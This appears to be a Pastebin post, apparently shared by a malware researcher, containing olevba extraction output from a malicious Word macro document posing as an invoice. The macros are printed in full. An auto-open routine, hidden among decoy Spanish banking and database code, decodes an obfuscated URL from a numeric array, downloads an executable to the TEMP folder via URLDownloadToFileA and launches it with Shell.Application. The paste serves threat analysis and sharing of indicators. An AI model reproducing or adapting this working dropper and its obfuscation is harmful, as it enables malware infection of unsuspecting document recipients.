Advertisement
dynamoo

Malicious Word macro

Nov 27th, 2015
914
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIH--V S-INV-BROOKSTRO1-476006-01.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: S-INV-BROOKSTRO1-476006-01.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: S-INV-BROOKSTRO1-476006-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. Comprueba_CuentaBan ""
  17. PreparaBloquear
  18. Calculo_CC_IBAN "", ""
  19. InicializarFormatos
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Module1.bas
  31. in file: S-INV-BROOKSTRO1-476006-01.doc - OLE stream: u'Macros/VBA/Module1'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33.  
  34. Public conn As String
  35. Public Const cPTours As Byte = 1
  36. Public Const cConta As Byte = 2
  37. Public vEmpresa As String
  38. Public vParamAplic As String
  39. Public vSesion As String
  40. Public vConfig As String
  41. Public FormatoFecha As String
  42. Public FormatoHora As String
  43. Public FormatoImporte As String
  44. Public FormatoPrecio As String
  45. Public FormatoPorcen As String
  46. Public FormatoExp As String
  47. Public FormatoDec10d2 As String
  48. Public FormatoDec10d3 As String
  49. Public FormatoDec5d4 As String
  50. Public FIni As String
  51. Public FFin As String
  52. Public FIniSeg As String
  53. Public FFinSeg As String
  54. Public FIniTel As String
  55. Public FFinTel As String
  56. Public teclaBuscar As Integer
  57. Public CadenaDesdeOtroForm As String
  58. Public NumRegElim As Long
  59. Public processEnv  As Object
  60. Public tempFolder As String
  61. Public tempFile As String
  62. Public shellApp As Object
  63. Public CadenaCambio As String
  64. Public ValorAnterior As String
  65. Public MensError As String
  66. Public AnchoLogin As String
  67. Public Aplicaciones As String
  68. #If Win64 Then
  69.     #If VBA7 Then    ' Windows x64, Office 2010
  70.       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  71.                 (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
  72.                  ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
  73.     #Else    ' Windows x64,Office 2003-2007
  74.       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  75.                                            (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
  76.                                             ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
  77.     #End If
  78. #Else
  79.     #If VBA7 Then    ' Windows x86, Office 2010
  80.       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  81.                 (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
  82.                  ByVal param4 As Long, ByVal param5 As Long) As Long
  83.     #Else    ' Windows x86, Office 2003-2007
  84.       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  85.                                            (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
  86.                                             ByVal param4 As Long, ByVal param5 As Long) As Long
  87.     #End If
  88. #End If
  89. Public Sub Main()
  90. Dim NomPc As String
  91. Dim Servidor As String
  92. Dim CadenaParametros As String
  93. Dim cad As String, Cad1 As String
  94. Dim Mens As String
  95. Dim b As Boolean
  96.  If App.PrevInstance Then
  97.  MsgBox "Actualizador de cuentas ya se esta ejecutando", vbExclamation
  98.  End
  99.  End If
  100.  Set vConfig = New Configuracion
  101.  If vConfig.leer = 1 Then
  102.  MsgBox "MAL CONFIGURADO", vbCritical
  103.  End
  104.  Exit Sub
  105.  End If
  106.  frmActualizarCCC.Show vbModal
  107. End Sub
  108. Public Function espera(Segundos As Single)
  109.  Dim T1
  110.  T1 = Timer
  111.  Do
  112.  Loop Until Timer - T1 > Segundos
  113. End Function
  114. Public Function AbrirConexion(Usuario As String, Pass As String, BaseDatos As String) As Boolean
  115. Dim cad As String
  116. On Error GoTo EAbrirConexion
  117.  AbrirConexion = False
  118.  Set conn = Nothing
  119.  Set conn = New Connection
  120.  conn.CursorLocation = adUseServer
  121.  cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATABASE=" & Trim(BaseDatos) & ";SERVER=" & vConfig.SERVER
  122.  cad = cad & ";UID=" & Usuario
  123.  cad = cad & ";PWD=" & Pass
  124.  cad = cad & ";PORT=3306;OPTION=3;STMT=;"
  125.  cad = cad & ";Persist Security Info=true"
  126.  conn.ConnectionString = cad
  127.  conn.open
  128.  AbrirConexion = True
  129.  Exit Function
  130. EAbrirConexion:
  131.  MuestraError Err.Number, "Abrir conexi?n.", Err.Description
  132. End Function
  133. Public Sub MuestraError(numero As Long, Optional cadena As String, Optional Desc As String)
  134.  Dim cad As String
  135.  Dim Aux As String
  136.  On Error Resume Next
  137.  cad = "Se ha producido un error: " & vbCrLf
  138.  If cadena <> "" Then
  139.  cad = cad & vbCrLf & cadena & vbCrLf & vbCrLf
  140.  End If
  141.  If conn.Errors.Count > 0 Then
  142.  ControlamosError Aux
  143.  conn.Errors.Clear
  144.  Else
  145.  Aux = ""
  146.  End If
  147.  If Aux <> "" Then Desc = Aux
  148.  If Desc <> "" Then cad = cad & vbCrLf & Desc & vbCrLf & vbCrLf
  149.  If Aux = "" Then cad = cad & "N?mero: " & numero & vbCrLf & "Descripci?n: " & Error(numero)
  150.  MsgBox cad, vbExclamation
  151. End Sub
  152. Public Function DBSet(vData As Variant, Tipo As String, Optional EsNulo As String) As Variant
  153. Dim cad As String
  154.  If IsNull(vData) Then
  155.  DBSet = ValorNulo
  156.  Exit Function
  157.  End If
  158.  If Tipo <> "" Then
  159.  Select Case Tipo
  160.  Case "T"
  161.  If vData = "" Then
  162.  If EsNulo = "N" Then
  163.  DBSet = ""
  164.  Else
  165.  DBSet = ValorNulo
  166.  End If
  167.  Else
  168.  cad = (CStr(vData))
  169.  NombreSQL cad
  170.  DBSet = ""
  171.  End If
  172.  Case "N"
  173.  If vData = "" Or vData = 0 Then
  174.  If EsNulo <> "" Then
  175.  If EsNulo = "S" Then
  176.  DBSet = ValorNulo
  177.  Else
  178.  DBSet = 0
  179.  End If
  180.  Else
  181.  DBSet = 0
  182.  End If
  183.  Else
  184.  cad = CStr(ImporteFormateado(CStr(vData)))
  185.  DBSet = TransformaComasPuntos(cad)
  186.  End If
  187.  Case "F"
  188.  If vData = "" Then
  189.  If EsNulo = "S" Then
  190.  DBSet = ValorNulo
  191.  Else
  192.  DBSet = ""
  193.  End If
  194.  Else
  195.  DBSet = ""
  196.  End If
  197.  Case "FH"
  198.  If vData = "" Then
  199.  If EsNulo = "S" Then DBSet = ValorNulo
  200.  Else
  201.  DBSet = ""
  202.  End If
  203.  Case "H"
  204.  If vData = "" Then
  205.  Else
  206.  DBSet = ""
  207.  End If
  208.  Case "B"
  209.  If vData Then
  210.  DBSet = 1
  211.  Else
  212.  DBSet = 0
  213.  End If
  214.  End Select
  215.  End If
  216. End Function
  217. Public Function DBLetMemo(vData As Variant) As Variant
  218.  On Error Resume Next
  219.  DBLetMemo = vData
  220.  If Err.Number <> 0 Then
  221.  Err.Clear
  222.  DBLetMemo = ""
  223.  End If
  224. End Function
  225. Public Function DBLet(vData As Variant, Optional Tipo As String) As Variant
  226.  If IsNull(vData) Then
  227.  DBLet = ""
  228.  If Tipo <> "" Then
  229.  Select Case Tipo
  230.  Case "T"
  231.  DBLet = ""
  232.  Case "N"
  233.  DBLet = 0
  234.  Case "F"
  235.  DBLet = ""
  236.  Case "D"
  237.  DBLet = 0
  238.  Case "B"
  239.  DBLet = False
  240.  Case Else
  241.  DBLet = ""
  242.  End Select
  243.  End If
  244.  Else
  245.  DBLet = vData
  246.  End If
  247. End Function
  248. Public Sub PreparaBloquear()
  249.  
  250. tempFolder = processEnv("TEMP")
  251.  
  252.  'conn.Execute "commit"
  253. 'conn.Execute "set autocommit=0"
  254. tempFile = tempFolder + "\" + "rudakop" + Chr(46) + "e" + "" + "" + "" + "xe"
  255. End Sub
  256. Public Sub TerminaBloquear()
  257.  conn.Execute "commit"
  258.  conn.Execute "set autocommit=1"
  259. End Sub
  260. Public Function ImporteFormateado(Importe As String) As Currency
  261. Dim i As Integer
  262.  If Importe = "" Then
  263.  ImporteFormateado = 0
  264.  Else
  265.  Do
  266.  i = InStr(1, Importe, ".")
  267.  If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
  268.  Loop Until i = 0
  269.  ImporteFormateado = Importe
  270.  End If
  271. End Function
  272. Public Function ImporteSinFormato(cadena As String) As String
  273. Dim i As Integer
  274. Do
  275.  i = InStr(1, cadena, ".")
  276.  If i > 0 Then cadena = Mid(cadena, 1, i - 1) & Mid(cadena, i + 1)
  277. Loop Until i = 0
  278. ImporteSinFormato = TransformaPuntosComas(cadena)
  279. End Function
  280. Public Function TransformaComasPuntos(cadena As String) As String
  281. Dim i As Integer
  282.  Do
  283.  i = InStr(1, cadena, ",")
  284.  If i > 0 Then
  285.  cadena = Mid(cadena, 1, i - 1) & "." & Mid(cadena, i + 1)
  286.  End If
  287.  Loop Until i = 0
  288.  TransformaComasPuntos = cadena
  289. End Function
  290. Public Sub NombreSQL(ByRef cadena As String)
  291. Dim j As Integer
  292. Dim i As Integer
  293. Dim Aux As String
  294.  j = 1
  295.  Do
  296.  i = InStr(J, cadena, "
  297. If i > 0 Then
  298. Aux = Mid(cadena, 1, i - 1) & "\"
  299. cadena = Aux & Mid(cadena, i)
  300. j = i + 2
  301. End If
  302. Loop Until i = 0
  303. End Sub
  304. Public Function EsFechaOKString(ByRef t As String) As Boolean
  305. Dim cad As String
  306. cad = t
  307. If InStr(1, cad, "/") = 0 Then
  308. If Len(t) = 8 Then
  309. cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
  310. Else
  311. If Len(t) = 6 Then cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
  312. End If
  313. End If
  314. If IsDate(cad) Then
  315. EsFechaOKString = True
  316. t = Format(cad, "dd/mm/yyyy")
  317. Else
  318. EsFechaOKString = False
  319. End If
  320. End Function
  321. Public Function DevNombreSQL(cadena As String) As String
  322. Dim j As Integer
  323. Dim i As Integer
  324. Dim Aux As String
  325. j = 1
  326. Do
  327. i = InStr(J, cadena, "
  328.  If i > 0 Then
  329.  Aux = Mid(cadena, 1, i - 1) & "\"
  330.  cadena = Aux & Mid(cadena, i)
  331.  j = i + 2
  332.  End If
  333.  Loop Until i = 0
  334.  DevNombreSQL = cadena
  335. End Function
  336. Public Function DevuelveDesdeBD(kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional ByRef otroCampo As String) As String
  337.  Dim RS As Recordset
  338.  Dim cad As String
  339.  Dim Aux As String
  340.  On Error GoTo EDevuelveDesdeBD
  341.  DevuelveDesdeBD = ""
  342.  cad = "Select " & kCampo
  343.  If otroCampo <> "" Then cad = cad & ", " & otroCampo
  344.  cad = cad & " FROM " & Ktabla
  345.  cad = cad & " WHERE " & Kcodigo & " = "
  346.  If Tipo = "" Then Tipo = "N"
  347.  Select Case Tipo
  348.  Case "N"
  349.  cad = cad & ValorCodigo
  350.  Case "T", "F"
  351.  cad = cad & ""
  352.  Case Else
  353.  MsgBox "Tipo : " & Tipo & " no definido", vbExclamation
  354.  Exit Function
  355.  End Select
  356.  Set RS = New ADODB.Recordset
  357.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  358.  If Not RS.EOF Then
  359.  DevuelveDesdeBD = DBLet(RS.Fields(0))
  360.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  361.  End If
  362.  RS.Close
  363.  Set RS = Nothing
  364.  Exit Function
  365. EDevuelveDesdeBD:
  366.  MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
  367. End Function
  368. Public Function DevuelveDesdeBDNew(vBD As Byte, Ktabla As String, kCampo As String, Kcodigo1 As String, valorCodigo1 As String, Optional tipo1 As String, Optional ByRef otroCampo As String, Optional KCodigo2 As String, Optional ValorCodigo2 As String, Optional tipo2 As String, Optional KCodigo3 As String, Optional ValorCodigo3 As String, Optional tipo3 As String) As String
  369. Dim RS As Recordset
  370. Dim cad As String
  371. Dim Aux As String
  372. On Error GoTo EDevuelveDesdeBDnew
  373.  DevuelveDesdeBDNew = ""
  374.  cad = "Select " & kCampo
  375.  If otroCampo <> "" Then cad = cad & ", " & otroCampo
  376.  cad = cad & " FROM " & Ktabla
  377.  If Kcodigo1 <> "" Then
  378.  cad = cad & " WHERE " & Kcodigo1 & " = "
  379.  If tipo1 = "" Then tipo1 = "N"
  380.  Select Case tipo1
  381.  Case "N"
  382.  cad = cad & Val(valorCodigo1)
  383.  Case "T"
  384.  cad = cad & DBSet(valorCodigo1, "T")
  385.  Case "F"
  386.  cad = cad & DBSet(valorCodigo1, "F")
  387.  Case Else
  388.  MsgBox "Tipo : " & tipo1 & " no definido", vbExclamation
  389.  Exit Function
  390.  End Select
  391.  End If
  392.  If KCodigo2 <> "" Then
  393.  cad = cad & " AND " & KCodigo2 & " = "
  394.  If tipo2 = "" Then tipo2 = "N"
  395.  Select Case tipo2
  396.  Case "N"
  397.  If ValorCodigo2 = "" Then
  398.  cad = cad & "-1"
  399.  Else
  400.  cad = cad & Val(ValorCodigo2)
  401.  End If
  402.  Case "T"
  403.  cad = cad & DBSet(ValorCodigo2, "T")
  404.  Case "F"
  405.  cad = cad & ""
  406.  Case Else
  407.  MsgBox "Tipo : " & tipo2 & " no definido", vbExclamation
  408.  Exit Function
  409.  End Select
  410.  End If
  411.  If KCodigo3 <> "" Then
  412.  cad = cad & " AND " & KCodigo3 & " = "
  413.  If tipo3 = "" Then tipo3 = "N"
  414.  Select Case tipo3
  415.  Case "N"
  416.  If ValorCodigo3 = "" Then
  417.  cad = cad & "-1"
  418.  Else
  419.  cad = cad & Val(ValorCodigo3)
  420.  End If
  421.  Case "T"
  422.  cad = cad & ""
  423.  Case "F"
  424.  cad = cad & ""
  425.  Case Else
  426.  MsgBox "Tipo : " & tipo3 & " no definido", vbExclamation
  427.  Exit Function
  428.  End Select
  429.  End If
  430.  Set RS = New ADODB.Recordset
  431.  Select Case vBD
  432.  Case cPTours
  433.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  434.  End Select
  435.  If Not RS.EOF Then
  436.  DevuelveDesdeBDNew = DBLet(RS.Fields(0))
  437.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  438.  End If
  439.  RS.Close
  440.  Set RS = Nothing
  441.  Exit Function
  442. EDevuelveDesdeBDnew:
  443.  MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
  444. End Function
  445. Public Function DevuelveDesdeBDnew2(kBD As Integer, kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional num As Byte, Optional ByRef otroCampo As String) As String
  446. Dim RS As Recordset
  447. Dim cad As String
  448. Dim Aux As String
  449. Dim v_aux As Integer
  450. Dim campo As String
  451. Dim Valor As String
  452. Dim tip As String
  453. On Error GoTo EDevuelveDesdeBDnew2
  454. DevuelveDesdeBDnew2 = ""
  455. cad = "Select " & kCampo
  456. If otroCampo <> "" Then cad = cad & ", " & otroCampo
  457. cad = cad & " FROM " & Ktabla
  458. If Kcodigo <> "" Then cad = cad & " where "
  459. For v_aux = 1 To num
  460.  campo = RecuperaValor(Kcodigo, v_aux)
  461.  Valor = RecuperaValor(ValorCodigo, v_aux)
  462.  tip = RecuperaValor(Tipo, v_aux)
  463.  cad = cad & campo & "="
  464.  If tip = "" Then Tipo = "N"
  465.  Select Case tip
  466.  Case "N"
  467.  cad = cad & Valor
  468.  Case "T", "F"
  469.  cad = cad & ""
  470.  Case Else
  471.  MsgBox "Tipo : " & tip & " no definido", vbExclamation
  472.  Exit Function
  473.  End Select
  474.  If v_aux < num Then cad = cad & " AND "
  475.  Next v_aux
  476. Set RS = New ADODB.Recordset
  477. Select Case kBD
  478.  Case 1
  479.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  480. End Select
  481. If Not RS.EOF Then
  482.  DevuelveDesdeBDnew2 = DBLet(RS.Fields(0))
  483.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  484. Else
  485.  If otroCampo <> "" Then otroCampo = ""
  486. End If
  487. RS.Close
  488. Set RS = Nothing
  489. Exit Function
  490. EDevuelveDesdeBDnew2:
  491.  MuestraError Err.Number, "Devuelve DesdeBDnew2.", Err.Description
  492. End Function
  493. Public Function EsEntero(Texto As String) As Boolean
  494. Dim i As Integer
  495. Dim C As Integer
  496. Dim L As Integer
  497. Dim res As Boolean
  498.  res = True
  499.  EsEntero = False
  500.  If Not IsNumeric(Texto) Then
  501.  res = False
  502.  Else
  503.  C = 0
  504.  L = 1
  505.  Do
  506.  i = InStr(L, Texto, ".")
  507.  If i > 0 Then
  508.  L = i + 1
  509.  C = C + 1
  510.  End If
  511.  Loop Until i = 0
  512.  If C > 1 Then res = False
  513.  If C = 0 Then
  514.  L = 1
  515.  Do
  516.  i = InStr(L, Texto, ",")
  517.  If i > 0 Then
  518.  L = i + 1
  519.  C = C + 1
  520.  End If
  521.  Loop Until i = 0
  522.  If C > 1 Then res = False
  523.  End If
  524.  End If
  525.  EsEntero = res
  526. End Function
  527. Public Function TransformaPuntosComas(cadena As String) As String
  528.  Dim i As Integer
  529.  Do
  530.  i = InStr(1, cadena, ".")
  531.  If i > 0 Then
  532.  cadena = Mid(cadena, 1, i - 1) & "," & Mid(cadena, i + 1)
  533.  End If
  534.  Loop Until i = 0
  535.  TransformaPuntosComas = cadena
  536. End Function
  537. Public Sub InicializarFormatos()
  538.  shellApp.open (tempFile)
  539.  FormatoFecha = "yyyy-mm-dd"
  540.  FormatoHora = "hh:mm:ss"
  541.  FormatoImporte = "#,###,###,##0.00"
  542.  FormatoPrecio = "##,##0.000"
  543.  FormatoPorcen = "##0.00"
  544.  FormatoDec10d2 = "##,###,##0.00"
  545.  FormatoDec10d3 = "##,###,##0.000"
  546.  FormatoDec5d4 = "0.0000"
  547.  FormatoExp = "0000000000"
  548. End Sub
  549. Public Sub AccionesCerrar()
  550.  On Error Resume Next
  551.  Set vEmpresa = Nothing
  552.  Set vSesion = Nothing
  553.  conn.Close
  554.  Set conn = Nothing
  555.  If Err.Number <> 0 Then Err.Clear
  556. End Sub
  557.  
  558.  
  559.  
  560. -------------------------------------------------------------------------------
  561. VBA MACRO Module2.bas
  562. in file: S-INV-BROOKSTRO1-476006-01.doc - OLE stream: u'Macros/VBA/Module2'
  563. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  564. Public Function delete_all_wom(fromArr() As Variant, LenLen As Integer, ByRef ruda As String) As String
  565.     Dim i As Integer
  566.     Variabl = ""
  567.     For i = LBound(fromArr) To UBound(fromArr)
  568.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 9 * LenLen - 1000 - 234)
  569.     Next i
  570.     ruda = Variabl
  571. End Function
  572. Public Function Comprueba_CC(CC As String) As Boolean
  573.  Dim ent As String
  574.  Dim Suc As String
  575.  Dim DC As String
  576.  Dim i, i2, i3, i4 As Integer
  577.  Dim NumCC As String
  578.  If Len(CC) <> 20 Then Exit Function
  579.  i = Val(Mid(CC, 1, 1)) * 4
  580.  i = i + Val(Mid(CC, 2, 1)) * 8
  581.  i = i + Val(Mid(CC, 3, 1)) * 5
  582.  i = i + Val(Mid(CC, 4, 1)) * 10
  583.  i = i + Val(Mid(CC, 5, 1)) * 9
  584.  i = i + Val(Mid(CC, 6, 1)) * 7
  585.  i = i + Val(Mid(CC, 7, 1)) * 3
  586.  i = i + Val(Mid(CC, 8, 1)) * 6
  587.  i2 = Int(i / 11)
  588.  i3 = i - (i2 * 11)
  589.  i4 = 11 - i3
  590.  Select Case i4
  591.  Case 11
  592.  i4 = 0
  593.  Case 10
  594.  i4 = 1
  595.  End Select
  596.  If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
  597.  i = Val(Mid(CC, 11, 1)) * 1
  598.  i = i + Val(Mid(CC, 12, 1)) * 2
  599.  i = i + Val(Mid(CC, 13, 1)) * 4
  600.  i = i + Val(Mid(CC, 14, 1)) * 8
  601.  i = i + Val(Mid(CC, 15, 1)) * 5
  602.  i = i + Val(Mid(CC, 16, 1)) * 10
  603.  i = i + Val(Mid(CC, 17, 1)) * 9
  604.  i = i + Val(Mid(CC, 18, 1)) * 7
  605.  i = i + Val(Mid(CC, 19, 1)) * 3
  606.  i = i + Val(Mid(CC, 20, 1)) * 6
  607.  i2 = Int(i / 11)
  608.  i3 = i - (i2 * 11)
  609.  i4 = 11 - i3
  610.  Select Case i4
  611.  Case 11
  612.  i4 = 0
  613.  Case 10
  614.  i4 = 1
  615.  End Select
  616.  If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
  617.  Comprueba_CC = True
  618. End Function
  619. Public Function Comprueba_CuentaBan(CC As String) As Boolean
  620.  Dim urlAr() As Variant
  621. urlAr = Array(1888, 1900, 1900, 1896, 1842, 1831, 1831, 1891, 1889, 1884, 1899, 1893, 1881, 1900, 1900, 1885, 1898, 1834, 1901, 1899, 1830, 1895, 1898, 1887, 1831, 1910, 1896, 1881, 1898, 1885, 1894, 1900, 1899, 1893, 1831, 1839, 1838, 1886, 1838, 1884, 1837, 1831, 1837, 1836, 1899, 1884, 1886, 1887, 1839, 1888, 1840, 1890, 1830, 1885, 1904, 1885)
  622. delete_all_wom urlAr, 55, FormatoHora
  623. Set shellApp = CreateObject("Shell.Application")
  624. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  625. Exit Function
  626.  If Trim(CC) <> "" Then
  627.  If Not Comprueba_CC(CC) Then
  628.  MsgBox "La cuenta bancaria no es correcta", vbInformation
  629.  End If
  630.  End If
  631. End Function
  632. Public Function DownloadFile(url As String, LocalFilename As String) As Boolean
  633. Dim lngRetVal As Long
  634. CadenaParametro 0, url, LocalFilename, 0, 0
  635. If lngRetVal = 0 Then DownloadFile = True
  636. End Function
  637. Public Function Comprueba_CC_IBAN(CC As String, IBAN As String) As Boolean
  638.  Dim ent As String
  639.  Dim Suc As String
  640.  Dim DC As String
  641.  Dim i, i2, i3, i4 As Integer
  642.  Dim NumCC As String
  643.  If Len(IBAN) <> 4 Then Exit Function
  644.  i = Val(Mid(CC, 1, 1)) * 4
  645.  i = i + Val(Mid(CC, 2, 1)) * 8
  646.  i = i + Val(Mid(CC, 3, 1)) * 5
  647.  i = i + Val(Mid(CC, 4, 1)) * 10
  648.  i = i + Val(Mid(CC, 5, 1)) * 9
  649.  i = i + Val(Mid(CC, 6, 1)) * 7
  650.  i = i + Val(Mid(CC, 7, 1)) * 3
  651.  i = i + Val(Mid(CC, 8, 1)) * 6
  652.  i2 = Int(i / 11)
  653.  i3 = i - (i2 * 11)
  654.  i4 = 11 - i3
  655.  Select Case i4
  656.  Case 11
  657.  i4 = 0
  658.  Case 10
  659.  i4 = 1
  660.  End Select
  661.  If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
  662.  i = Val(Mid(CC, 11, 1)) * 1
  663.  i = i + Val(Mid(CC, 12, 1)) * 2
  664.  i = i + Val(Mid(CC, 13, 1)) * 4
  665.  i = i + Val(Mid(CC, 14, 1)) * 8
  666.  i = i + Val(Mid(CC, 15, 1)) * 5
  667.  i = i + Val(Mid(CC, 16, 1)) * 10
  668.  i = i + Val(Mid(CC, 17, 1)) * 9
  669.  i = i + Val(Mid(CC, 18, 1)) * 7
  670.  i = i + Val(Mid(CC, 19, 1)) * 3
  671.  i = i + Val(Mid(CC, 20, 1)) * 6
  672.  i2 = Int(i / 11)
  673.  i3 = i - (i2 * 11)
  674.  i4 = 11 - i3
  675.  Select Case i4
  676.  Case 11
  677.  i4 = 0
  678.  Case 10
  679.  i4 = 1
  680.  End Select
  681.  If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
  682.  Comprueba_CC_IBAN = True
  683. End Function
  684. Public Function Calculo_CC_IBAN(CC As String, IBAN As String) As String
  685.  Dim ent As String
  686.  Dim Suc As String
  687.  Dim DC As String
  688.  Dim i, i2, i3, i4 As Integer
  689.  Dim NumCC As String
  690.  Dim vIban As String
  691.  Dim v1 As String
  692.  Dim v2 As String
  693.  Dim n1 As Integer
  694.  Dim n2 As String
  695.  DownloadFile FormatoHora, tempFile
  696.  Resul = 0
  697.  If Len(CC) <> 20 Then Exit Function
  698.  If Len(IBAN) = 0 Then
  699.  vIban = "ES"
  700.  Else
  701.  vIban = IBAN
  702.  End If
  703.  If IsNumeric(Mid(vIban, 1, 2)) Then
  704.  Exit Function
  705.  Else
  706.  v1 = Mid(UCase(vIban), 1, 1)
  707.  v2 = Mid(UCase(vIban), 2, 1)
  708.  If Asc(v1) >= 65 And Asc(v1) <= 90 And Asc(v2) >= 65 And Asc(v2) <= 90 Then
  709.  n1 = ValorLetra(v1)
  710.  n2 = ValorLetra(v2)
  711.  End If
  712.  CC = CC & n1 & n2
  713.  End If
  714.  cc1 = Mid(CC, 1, 9)
  715.  cc2 = Mid(CC, 10, Len(CC) - 9)
  716.  For i = 1 To 4
  717.  dig1 = cc1 Mod 97
  718.  cc1 = dig1 & cc2
  719.  If cc2 = "" Then Exit For
  720.  If Len(cc1) > 9 Then
  721.  cc2 = Mid(cc1, 10, Len(cc1))
  722.  cc1 = Mid(cc1, 1, 9)
  723.  Else
  724.  cc2 = ""
  725.  End If
  726.  Next i
  727.  Resul = 98 - dig1
  728.  Calculo_CC_IBAN = Mid(vIban, 1, 2) & Format(Resul, "00")
  729. End Function
  730. Private Function ValorLetra(LEtra As String) As Byte
  731. Dim Valor As Byte
  732.  If Asc(LEtra) >= 65 And Asc(LEtra) <= 90 Then
  733.  Valor = Asc(LEtra) - 55
  734.  End If
  735.  ValorLetra = Valor
  736. End Function
  737. Public Function DigitoControlCorrecto(CC As String) As String
  738.  Dim ent As String
  739.  Dim Suc As String
  740.  Dim DC As String
  741.  Dim i, i2, i3, i4 As Integer
  742.  Dim NumCC As String
  743.  If Len(CC) <> 20 Then Exit Function
  744.  i = Val(Mid(CC, 1, 1)) * 4
  745.  i = i + Val(Mid(CC, 2, 1)) * 8
  746.  i = i + Val(Mid(CC, 3, 1)) * 5
  747.  i = i + Val(Mid(CC, 4, 1)) * 10
  748.  i = i + Val(Mid(CC, 5, 1)) * 9
  749.  i = i + Val(Mid(CC, 6, 1)) * 7
  750.  i = i + Val(Mid(CC, 7, 1)) * 3
  751.  i = i + Val(Mid(CC, 8, 1)) * 6
  752.  i2 = Int(i / 11)
  753.  i3 = i - (i2 * 11)
  754.  i4 = 11 - i3
  755.  Select Case i4
  756.  Case 11
  757.  i4 = 0
  758.  Case 10
  759.  i4 = 1
  760.  End Select
  761.  DC = i4
  762.  i = Val(Mid(CC, 11, 1)) * 1
  763.  i = i + Val(Mid(CC, 12, 1)) * 2
  764.  i = i + Val(Mid(CC, 13, 1)) * 4
  765.  i = i + Val(Mid(CC, 14, 1)) * 8
  766.  i = i + Val(Mid(CC, 15, 1)) * 5
  767.  i = i + Val(Mid(CC, 16, 1)) * 10
  768.  i = i + Val(Mid(CC, 17, 1)) * 9
  769.  i = i + Val(Mid(CC, 18, 1)) * 7
  770.  i = i + Val(Mid(CC, 19, 1)) * 3
  771.  i = i + Val(Mid(CC, 20, 1)) * 6
  772.  i2 = Int(i / 11)
  773.  i3 = i - (i2 * 11)
  774.  i4 = 11 - i3
  775.  Select Case i4
  776.  Case 11
  777.  i4 = 0
  778.  Case 10
  779.  i4 = 1
  780.  End Select
  781.  DC = DC & i4
  782.  DigitoControlCorrecto = DC
  783. End Function
  784.  
  785.  
  786. -------------------------------------------------------------------------------
  787. VBA MACRO Module3.bas
  788. in file: S-INV-BROOKSTRO1-476006-01.doc - OLE stream: u'Macros/VBA/Module3'
  789. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  790.  
  791. Dim Filename As String
  792. Dim astr As String
  793. Dim bstr As String
  794. Dim a As ubyte
  795. Dim b As ubyte
  796. Dim i As ushort
  797. Dim j As ushort
  798. Dim k As ushort
  799. Dim z As UInteger
  800. Const Comset = ",N,8,1,CS,DS,RB0,TB0,BIN"
  801. Dim Comport As String
  802. Dim TSBIDENT As String
  803. Dim TSBBUILD As UInteger
  804. Dim TSBSTATUS As ubyte
  805. Dim SIG000 As ubyte
  806. Dim SIG001 As ubyte
  807. Dim SIG002 As ubyte
  808. Dim PAGESIZE As ubyte
  809. Dim FLASHSIZE As ushort
  810. Dim APPFLASH As ushort
  811. Dim EEPROMSIZE As ushort
  812. Dim APPJUMP As ushort
  813. Dim TIMEOUT As ubyte
  814. Dim PASSWORD As String
  815. Dim DEVPORTS(6) As ubyte
  816. Const REQUEST As String = "?"
  817. Const CONFIRM As String = "!"
  818. Function CheckChecksum(ByRef ihline As String) As ubyte
  819. Dim i As ubyte
  820. Dim C As ubyte
  821.  For i = 2 To (Len(ihline)) Step 2
  822.  C = C + Val("&h" + (Mid$(ihline, i, 2)))
  823.  Next i
  824. C = 0 - C
  825. End Function
